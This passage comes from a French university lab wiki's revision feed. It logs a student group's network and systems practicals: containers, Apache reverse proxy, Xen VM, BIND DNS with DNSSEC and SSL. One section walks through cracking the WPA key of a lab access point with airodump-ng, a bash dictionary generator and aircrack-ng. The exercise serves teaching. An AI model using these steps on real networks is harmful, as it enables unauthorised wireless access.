*'''Activation du pont:''' &lt;br /&gt;
    ip address add dev mehcret2 192.168.60.0/24&lt;br /&gt;
&lt;br /&gt;
*'''Attribution des adresses:'''&lt;br /&gt;
    ip address add dev eth0 192.168.60.51/24 (dsk1)&lt;br /&gt;
    ip address add dev eth0 192.168.60.52/24 (dsk2)&lt;br /&gt;
    ip address add dev eth0 192.168.60.53/24 (dsk3)&lt;br /&gt;
    ip address add dev eth1 172.26.145.67/24 (dsk2)&lt;br /&gt;
    ip route add default via 172.26.145.254 (dsk2)&lt;br /&gt;
&lt;br /&gt;
*'''Activation :'''&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set vif1 up&lt;br /&gt;
    ip link set vif2 up&lt;br /&gt;
    ip link set vif3 up&lt;br /&gt;
    ip link set vif4 up&lt;br /&gt;
    ip link set mehcret2 up&lt;br /&gt;
&lt;br /&gt;
On peut désormais pinger entre les différents conteneurs.&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs Web===&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant mettre en place les serveurs apache.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants : &lt;br /&gt;
&lt;br /&gt;
- mndtMehcret     A      172.26.145.67    (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)&lt;br /&gt;
&lt;br /&gt;
- web1Mehcret     CNAME  mndtMehcret      (Serveur web du conteneur 1)&lt;br /&gt;
&lt;br /&gt;
- web2Mehcret     CNAME  mndtMhecret      (Serveur web du conteneur 3)&lt;br /&gt;
&lt;br /&gt;
On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName web1mehcret.plil.space&lt;br /&gt;
      Options Indexes FollowSymLinks&lt;br /&gt;
      DocumentRoot /var/www/html/web1mehcret/&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.&lt;br /&gt;
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web. &lt;br /&gt;
&lt;br /&gt;
Il faut maintenant mettre en place le reverse proxy. &lt;br /&gt;
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName mndtMehcret.plil.space&lt;br /&gt;
      ProxyPass &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPass &amp;quot;/web2&amp;quot; &amp;quot;http://&amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web2&amp;quot; &amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :&lt;br /&gt;
&lt;br /&gt;
     $ service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Pour utiliser apache en mode reverse proxy, on execute la commande :&lt;br /&gt;
&lt;br /&gt;
     $ a2enmod proxy proxy_http&lt;br /&gt;
&lt;br /&gt;
11h25 : Serveurs Web unshare OK&lt;br /&gt;
&lt;br /&gt;
==Conteneurs Docker==&lt;br /&gt;
 &lt;br /&gt;
Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.&lt;br /&gt;
Nous exécutons ensuite la commande :&lt;br /&gt;
    $ iptables-save&lt;br /&gt;
Puis on redémarre le service Docker :&lt;br /&gt;
    $ service docker restart&lt;br /&gt;
&lt;br /&gt;
Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.&lt;br /&gt;
 &lt;br /&gt;
Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :&lt;br /&gt;
    $ docker run -i -t  debian&lt;br /&gt;
&lt;br /&gt;
Dans le conteneur, nous ajoutons le proxy de l'école :&lt;br /&gt;
    $ export http_proxy=http://proxy.polytech-lille.fr:3128/ &lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:&lt;br /&gt;
    $ apt-get update&lt;br /&gt;
    $ apt-get install apache2, nano, vim&lt;br /&gt;
&lt;br /&gt;
On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires : &lt;br /&gt;
&lt;br /&gt;
    $ docker commit [IDduConteneur] mehcret&lt;br /&gt;
&lt;br /&gt;
On créé un réseau Docker pour isoler nos conteneurs ensemble :&lt;br /&gt;
&lt;br /&gt;
    $ docker network create --driver bridge mehcretnetwork&lt;br /&gt;
&lt;br /&gt;
Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine : &lt;br /&gt;
&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret1 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret2 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret&lt;br /&gt;
&lt;br /&gt;
Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.&lt;br /&gt;
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10h30 Serveurs Web (docker) OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=TP PRA=&lt;br /&gt;
&lt;br /&gt;
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.&lt;br /&gt;
&lt;br /&gt;
==Tâche 5 : Câblage, connexion SR52, cordouan==&lt;br /&gt;
&lt;br /&gt;
===Connexion des routeurs au réseau de l'école===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur ISR4221 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.&lt;br /&gt;
&lt;br /&gt;
Sur le routeur, on passe le port 21 sur le vlan 131 : &lt;br /&gt;
&lt;br /&gt;
   config t&lt;br /&gt;
   int gi1/0/21&lt;br /&gt;
   switchport access vlan 131&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.&lt;br /&gt;
&lt;br /&gt;
Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery mode=&amp;quot;nolines&amp;quot; widths=500px heights=400px&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File:TableVlansInterfacesSR52.jpg&lt;br /&gt;
&lt;br /&gt;
File:LedSR52.jpg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''&lt;br /&gt;
&lt;br /&gt;
En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux routeurs===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''&lt;br /&gt;
&lt;br /&gt;
Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.&lt;br /&gt;
&lt;br /&gt;
===Connexions au serveur Cordouan===&lt;br /&gt;
&lt;br /&gt;
Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM. &lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux points d'accès===&lt;br /&gt;
&lt;br /&gt;
===Schéma résumant le câblage réalisé :===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ArchitectureMehCret.png|1500px]]&lt;br /&gt;
&lt;br /&gt;
==Installation des systèmes d'exploitation==&lt;br /&gt;
&lt;br /&gt;
===Création de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Création d'une machine virtuelle sur cordouan.insecserv.deule.net :&lt;br /&gt;
&lt;br /&gt;
   xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen&lt;br /&gt;
&lt;br /&gt;
Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg&lt;br /&gt;
&lt;br /&gt;
  vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']&lt;br /&gt;
  xen create hercule.cfg&lt;br /&gt;
  &lt;br /&gt;
On vérifie que la machine est bien créée en s'y connectant :&lt;br /&gt;
&lt;br /&gt;
  xl console hercule&lt;br /&gt;
&lt;br /&gt;
Création des partitions logiques sur Cordouan pour la machine virtuelle :&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-home -v&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-var -v&lt;br /&gt;
    &lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes : &lt;br /&gt;
   'phy:/dev/virtual/hercule-home,xvdb1,w',&lt;br /&gt;
   'phy:/dev/virtual/hercule-var,xvdb2,w'&lt;br /&gt;
&lt;br /&gt;
On relance la VM.&lt;br /&gt;
On formate les disques créés sur la machine :&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
&lt;br /&gt;
Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :&lt;br /&gt;
   /dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
Puis on effectue le montage :&lt;br /&gt;
   mount -a &lt;br /&gt;
&lt;br /&gt;
Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire : &lt;br /&gt;
   mount /dev/xvdb2 /mnt&lt;br /&gt;
&lt;br /&gt;
On déplace ensuite le contenu de var dans le point de montage précédemment créé :&lt;br /&gt;
   mv /var/* /mnt&lt;br /&gt;
&lt;br /&gt;
Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :&lt;br /&gt;
   /dev/xvdb2 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On applique les modifications :&lt;br /&gt;
   mount -a&lt;br /&gt;
&lt;br /&gt;
===Service internet===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Serveur DNS====&lt;br /&gt;
&lt;br /&gt;
Achat du domaine hercule.pw sur gandi.&lt;br /&gt;
&lt;br /&gt;
Installation de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
On créé un fichier de configuration de zone db.hercule.space dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.hercule.space. root.hercule.space (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.hercule.space.&lt;br /&gt;
 	IN	NS	ns6.gandi.net&lt;br /&gt;
 @      IN      A       193.48.57.183&lt;br /&gt;
 ns	IN	A	193.48.57.183&lt;br /&gt;
 www	IN	A	193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.hercule.space&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
Redémarrage du serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP : &lt;br /&gt;
  name : ns.hercule.space&lt;br /&gt;
  IP address : 193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Changement du nameserver principal sur Gandi (A FAIRE): &lt;br /&gt;
  DNS 1 : ns.hercule.space&lt;br /&gt;
&lt;br /&gt;
On laisse ceux de Gandi pour les deux serveurs esclaves&lt;br /&gt;
&lt;br /&gt;
ZONES INVERSES A FAIRE&lt;br /&gt;
&lt;br /&gt;
====DNSSEC====&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :&lt;br /&gt;
   dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
Création de la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
 :&lt;br /&gt;
Création de  la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
&lt;br /&gt;
On renomme ces clef : &lt;br /&gt;
  hercule.space-ksk.key&lt;br /&gt;
  hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Puis on les inclus dans le fichier /etc/bind/db.hercule.space&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrements de la zone :&lt;br /&gt;
  dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
  file &amp;quot;/etc/bind/db.hercule.space.signed&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
On communique les parties publiques de la KSK et ZSK à Gandi dans l'onglet DNSSEC. On n'oublie pas également d'incrémenter le SERIAL dans le fichier db.hercule.space.&lt;br /&gt;
&lt;br /&gt;
====Serveur Apache====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.hercule.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hercule.space.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 Redirect / https://www.hercule.space&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :&lt;br /&gt;
&lt;br /&gt;
  Listen 80 443&lt;br /&gt;
&lt;br /&gt;
On active enfin le module SSL, notre site, et on redémarre le service apache :&lt;br /&gt;
  a2enmod ssl&lt;br /&gt;
  a2ensite hercule.space.conf&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Crackage de clé WPA===&lt;br /&gt;
&lt;br /&gt;
Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi (wlp2s0) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng  wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 charset=({0..9})&lt;br /&gt;
 permute(){&lt;br /&gt;
   (($1 == 0)) &amp;amp;&amp;amp; { echo &amp;quot;$2&amp;quot;; return; }&lt;br /&gt;
   for char in &amp;quot;${charset[@]}&amp;quot;&lt;br /&gt;
   do&lt;br /&gt;
     permute &amp;quot;$((${1} - 1 ))&amp;quot; &amp;quot;$2$char&amp;quot;&lt;br /&gt;
   done&lt;br /&gt;
 }&lt;br /&gt;
 permute &amp;quot;$1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Que nous laçons en exécutant :&lt;br /&gt;
&lt;br /&gt;
 $ ./comb.sh 8 &amp;gt;&amp;gt; dictionnaire.txt&lt;br /&gt;
&lt;br /&gt;
Le crack est effectué en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -a2 -b 04:DA:D2:9C:50:56  -w /path_to_file/dictionnaire.txt /path_to_file/*.cap&lt;br /&gt;
&lt;br /&gt;
Nous récupérons la clé après quelques heures de calcul :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack groupe7.png|600px]]&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=48770</id>
		<title>TP sysres IMA5sc 2018/2019 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=48770"/>
				<updated>2018-12-17T13:51:26Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : /* DNSSEC */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Wiki de TP =&lt;br /&gt;
&lt;br /&gt;
=TP GIS=&lt;br /&gt;
&lt;br /&gt;
==Conteneurs &amp;quot;à la main&amp;quot;==&lt;br /&gt;
&lt;br /&gt;
===Mise en place des conteneurs===&lt;br /&gt;
&lt;br /&gt;
*'''Création d'une partition''':&lt;br /&gt;
   dd if=/dev/zero of=/disk1 bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
*'''Formatage''' : &lt;br /&gt;
   mtfs.etx4 /disk1&lt;br /&gt;
&lt;br /&gt;
*'''Montage de la partition''':&lt;br /&gt;
   mount /disk1 /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Installation d'un système Debian''':&lt;br /&gt;
   debootstrap --include=apache2,nano stable /mnt &lt;br /&gt;
&lt;br /&gt;
*'''Préparation du montage du pseudo système de fichier /proc''':&lt;br /&gt;
   echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; rootfs/etc/fstab&lt;br /&gt;
&lt;br /&gt;
*''' Démontage ''':&lt;br /&gt;
   umount /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Copie en 2 exemplaires''':&lt;br /&gt;
   cp /disk1 /disk2&lt;br /&gt;
   cp /disk1 /disk3&lt;br /&gt;
&lt;br /&gt;
*'''Montage des 3 partitions :'''&lt;br /&gt;
   mount -oloop /disk1 /mnt/dsk1&lt;br /&gt;
   mount -oloop /disk2 /mnt/dsk2&lt;br /&gt;
   mount -oloop /disk3 /mnt/dsk3&lt;br /&gt;
&lt;br /&gt;
*'''Création du processus isolé par unshare''':&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Configuration réseau===&lt;br /&gt;
*'''Création d'un commutateur logiciel''':&lt;br /&gt;
    ip link add mehcret2 type bridge&lt;br /&gt;
&lt;br /&gt;
*'''Création des interfaces virtuelles:'''&lt;br /&gt;
    ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
    ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
    ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
    ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
*'''Ajout d'interfaces dans le commutateur :'''&lt;br /&gt;
    ip link set vif1 master mehcret2&lt;br /&gt;
    ip link set vif2 master mehcret2&lt;br /&gt;
    ip link set vif3 master mehcret2&lt;br /&gt;
    ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
*'''Activation des interfaces''':&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set eth1 up&lt;br /&gt;
&lt;br /&gt;
*'''Récupération du PID des conteneurs :'''&lt;br /&gt;
    ps auxwww | grep unshare&lt;br /&gt;
&lt;br /&gt;
*'''Ajout des interfaces dans les conteneurs :'''&lt;br /&gt;
    ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)&lt;br /&gt;
    ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)&lt;br /&gt;
    ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)&lt;br /&gt;
    ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)&lt;br /&gt;
&lt;br /&gt;
*'''Activation du pont:''' &lt;br /&gt;
    ip address add dev mehcret2 192.168.60.0/24&lt;br /&gt;
&lt;br /&gt;
*'''Attribution des adresses:'''&lt;br /&gt;
    ip address add dev eth0 192.168.60.51/24 (dsk1)&lt;br /&gt;
    ip address add dev eth0 192.168.60.52/24 (dsk2)&lt;br /&gt;
    ip address add dev eth0 192.168.60.53/24 (dsk3)&lt;br /&gt;
    ip address add dev eth1 172.26.145.67/24 (dsk2)&lt;br /&gt;
    ip route add default via 172.26.145.254 (dsk2)&lt;br /&gt;
&lt;br /&gt;
*'''Activation :'''&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set vif1 up&lt;br /&gt;
    ip link set vif2 up&lt;br /&gt;
    ip link set vif3 up&lt;br /&gt;
    ip link set vif4 up&lt;br /&gt;
    ip link set mehcret2 up&lt;br /&gt;
&lt;br /&gt;
On peut désormais pinger entre les différents conteneurs.&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs Web===&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant mettre en place les serveurs apache.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants : &lt;br /&gt;
&lt;br /&gt;
- mndtMehcret     A      172.26.145.67    (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)&lt;br /&gt;
&lt;br /&gt;
- web1Mehcret     CNAME  mndtMehcret      (Serveur web du conteneur 1)&lt;br /&gt;
&lt;br /&gt;
- web2Mehcret     CNAME  mndtMhecret      (Serveur web du conteneur 3)&lt;br /&gt;
&lt;br /&gt;
On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName web1mehcret.plil.space&lt;br /&gt;
      Options Indexes FollowSymLinks&lt;br /&gt;
      DocumentRoot /var/www/html/web1mehcret/&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
